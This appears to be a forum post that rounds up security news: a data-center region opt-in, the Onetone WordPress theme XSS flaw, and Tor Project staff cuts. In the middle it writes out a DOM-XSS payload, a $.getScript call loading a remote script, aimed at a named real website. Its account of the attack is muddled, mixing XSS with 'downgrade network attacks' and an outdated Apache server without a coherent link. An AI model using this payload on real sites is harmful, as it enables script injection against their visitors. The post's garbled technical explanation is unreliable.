Starting 4/18/2020 paid customer, will be able to customize which data center regions your account can use,
by opting in or out of a specific data center region for real-time meeting data in transit.

Again Word Press sites could be taken over (hijacked) through Onetone-theme flaw (software left by developer).
A good 20.000 Word Press websites now at risk.

Read: https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
and
read: https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/

Word Press Content Management Software based on PHP, a constant pain in the proverbial parts.  ;D

Example of a vulnerable Word Press http website,

Remember WordPress is a weak and vulnerable CMS based on PHP,
see how vulnerable it can be to specific downgrade network attacks, random example:
via ",/$.getScript(%27https://localhost/test.js%27,function(){})"  , which is a DOM-XSS attack ->
like here -htxp://paragon.net.uk/$.getScript(%27https://localhost/test.js%27,function(){}}
opening up to: -https://www.heg.com/wp-content/themes/renova/assets/js/bootstrap-modal.js?ver=4.9.13
which is a blacklisted site: https://sitecheck.sucuri.net/results/https/www.heg.com/wp-content/themes/renova/assets/js/bootstrap-modal.js?q=ver%3D4.9.13  (Outdated http://httpd.apache.org/security/vulnerabilities_22.html This is probably why this attack succeeded!).
Resulting in: Number of sources found: 41 ; Number of sinks found: 17

Source link: DOM XSS script -> script source: SANS Cyber Security Certs & Research.

A HTTPS Everywhere extension in your browser will block this uri inside the browser,
else a HEG main page may open up from HEG (=Host Europe Group), now part of GoDaddy's.

A third of Tor Project staff have lost their jobs.

Read: https://blog.torproject.org/covid19-impact-tor

Coronavirus crisis & the "Globalonia forces" have quite some impact on the availability of reliable entry-nodes.
Many old sw-versions circulate with similarity hashes. Be aware!
